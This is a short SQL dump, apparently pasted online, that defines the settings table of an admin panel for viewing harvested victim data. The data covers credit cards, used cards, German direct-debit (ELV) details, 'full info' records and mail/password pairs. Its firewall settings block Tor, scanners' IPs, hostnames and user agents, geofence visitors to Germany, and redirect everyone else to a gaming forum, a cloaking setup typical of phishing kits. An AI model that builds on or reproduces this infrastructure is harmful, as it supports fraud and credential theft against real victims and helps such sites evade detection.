· 6 years ago · Jun 13, 2019, 09:10 PM
1CREATE TABLE IF NOT EXISTS `panel_settings` (
2 `badWords` text NOT NULL,
3 `showLastLogs` varchar(250) NOT NULL DEFAULT '10',
4 `show_Logs_CC` varchar(250) NOT NULL DEFAULT '1',
5 `show_Logs_UsedCC` varchar(250) NOT NULL DEFAULT '1',
6 `show_Logs_ELV` varchar(250) NOT NULL DEFAULT '1',
7 `show_Logs_FI` varchar(250) NOT NULL DEFAULT '1',
8 `show_Mail_Pass` varchar(250) NOT NULL DEFAULT '1',
9 `collapse_in_cc` varchar(250) NOT NULL DEFAULT '1',
10 `collapse_in_usedcc` varchar(250) NOT NULL DEFAULT '1',
11 `collapse_in_elv` varchar(250) NOT NULL DEFAULT '1',
12 `collapse_in_fullinfo` varchar(250) NOT NULL DEFAULT '1',
13 `collapse_in_mailpass` varchar(250) NOT NULL DEFAULT '0',
14 `collapse_in_cc_search` varchar(250) NOT NULL DEFAULT '1',
15 `collapse_in_log_search` varchar(250) NOT NULL DEFAULT '1',
16 `collapse_in_mail_search` varchar(250) NOT NULL DEFAULT '1',
17 `adminUsername` varchar(250) NOT NULL DEFAULT '0',
18 `adminPassword` varchar(250) NOT NULL DEFAULT '0',
19 `show_vic_infos` varchar(250) NOT NULL DEFAULT '1',
20 `fw_redirectURL` text NOT NULL,
21 `fw_blockedIPs` text NOT NULL,
22 `fw_whitelistgeoblock` text NOT NULL,
23 `fw_hostnamesblocked` text NOT NULL,
24 `fw_ipblock` varchar(250) NOT NULL DEFAULT '1',
25 `fw_geoblock` varchar(250) NOT NULL DEFAULT '1',
26 `fw_hostnameblock` varchar(250) NOT NULL DEFAULT '1',
27 `fw_torblock` varchar(250) NOT NULL DEFAULT '1',
28 `fw_uablock` varchar(250) NOT NULL DEFAULT '1'
29) ENGINE=InnoDB DEFAULT CHARSET=utf8;
30
31--
32-- Daten für Tabelle `panel_settings`
33--
34
35INSERT INTO `panel_settings` (`badWords`, `showLastLogs`, `show_Logs_CC`, `show_Logs_UsedCC`, `show_Logs_ELV`, `show_Logs_FI`, `show_Mail_Pass`, `collapse_in_cc`, `collapse_in_usedcc`, `collapse_in_elv`, `collapse_in_fullinfo`, `collapse_in_mailpass`, `collapse_in_cc_search`, `collapse_in_log_search`, `collapse_in_mail_search`, `adminUsername`, `adminPassword`, `show_vic_infos`, `fw_redirectURL`, `fw_blockedIPs`, `fw_whitelistgeoblock`, `fw_hostnamesblocked`, `fw_ipblock`, `fw_geoblock`, `fw_hostnameblock`, `fw_torblock`, `fw_uablock`) VALUES
36('', '10', '1', '1', '1', '1', '1', '1', '1', '1', '0', '1', '1', '1', '1', '0', '0', '1', 'https://www.elitepvpers.com/', '', 'DE', '', '1', '1', '1', '1', '1');